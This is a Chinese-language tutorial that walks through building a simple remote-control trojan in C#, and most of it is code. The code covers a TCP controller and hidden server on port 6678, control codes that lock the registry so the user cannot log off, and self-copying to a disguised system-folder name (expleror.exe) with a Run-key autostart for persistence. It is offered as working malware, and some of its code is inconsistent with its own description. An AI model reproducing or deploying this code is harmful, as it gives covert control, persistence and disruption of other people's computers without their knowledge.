发布时间:2023-10-20 14:00
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木马的介绍
因为本文是探讨木马程序,所以在介绍之前有一些木马构成的基本知识事先说明。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:
控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:
控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:
控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求
使用了.net类中的 System.Net.Sockets.TcpClient类,
TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
{
//记录操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText("请求连接" +textBox1.Text +"\r");
int port =6678;
try
{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show("服务器不在线!确定是否输入主机名称.");
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
}
}//private void buttion
2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流
//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
{
//纪录操作
richTextBox1.AppendText("测试连接" +"\r");
try
{
stream = client.GetStream();
if(stream.CanWrite)
{
//发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+"\r");
MessageBox.Show(ee.Message);
}
}
3、控制生效的代码
private void button9_Click(object sender, System.EventArgs e)
{
//这里是确定要发送的控制码,RadioButton是窗体控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control =="000000")
{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
{
try
{
//记录操作
richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText("服务器未连接1控制无效!" +"\r");
MessageBox.Show("服务器未连接1控制无效!" +"\r");
}
}//else if
}
4、线程执行的函数
private void receive()
{
//设置读取数据的空间
byte[] bb = new byte[3];
//读取3个字节,i为实际读取的字节数
int i = stream.Read(bb,0,3);
//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);
string ss = System.Text.Encoding.ASCII.GetString(bb);
//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功
if(ss=="hjc")
{
MessageBox.Show("连接成功");
richTextBox1.AppendText("连接成功");
}
if(ss== "hkz")
{
richTextBox1.AppendText(control +"控制成功"+"\r");
MessageBox.Show(control +"控制成功"+"\r");
}
}
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服务端的开发:
要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:
1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:
private void InitializeComponent()
{
//
// Form1
//
//窗体显示的起点和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗体名称
this.Name = "Form1";
//设置属性让它后台运行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}
2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:
public Form1() //窗体的构造函数
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//加入你的侦听代码
//端口你可以自已设定,我使用了固定的端口
int port =6678;
//System.net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
listener = new TcpListener(port);
//启动侦听
listener.Start();
//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()
//reControlCode 是线程启动执行的函数,此函数根据接收的控制
//控制码选取合适的注册表修改函数
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函数如下,完整代码见程序
private void reControlCode()
{
//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求
socket = listener.AcceptSocket();
//如果连接成功执行
while (socket.Connected)
{
//接收控制码
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根据控制码执行不同的功能
//修改注册表加入编码
switch (ss)
{
case "jiance"://测试连接,返回测试信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注册表函数,自已定义,见下面分析
UnLogOff();
//返回控制消息
retMessage();
break;
case "zx0100":
//修改注册表函数
UnClose();
//返回控制消息
retMessage();
break;
//重复的case功能与前面一样,略掉
default:
break;
}//case
}//while
} //private void reControlCode
3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:
private void UnLogOff()
{
//得到主机的注册表的顶级节点
Microsoft.Win32.ReGIStryKey rLocal = Registry.LocalMachine;
//设置一个注册表子键的变量
RegistryKey key1;
try
{
//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键
//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改
key1 =
rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
//设置子键的键名,和值
key1.SetValue ("NoLogOff",1);
//关闭打开的子键
key1.Close();
//警告字符串设定
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";
}
catch{}
}
}
4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。
private void moveCC1()
{
try
{
//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
//sourceFileName为要移动的文件名,destFileName为文件的新路径
File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");
}
catch {}
//将新移的木马程序设为自启动.分析和前面一样
try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()
到这里一个简单的C#的木马就完成了。
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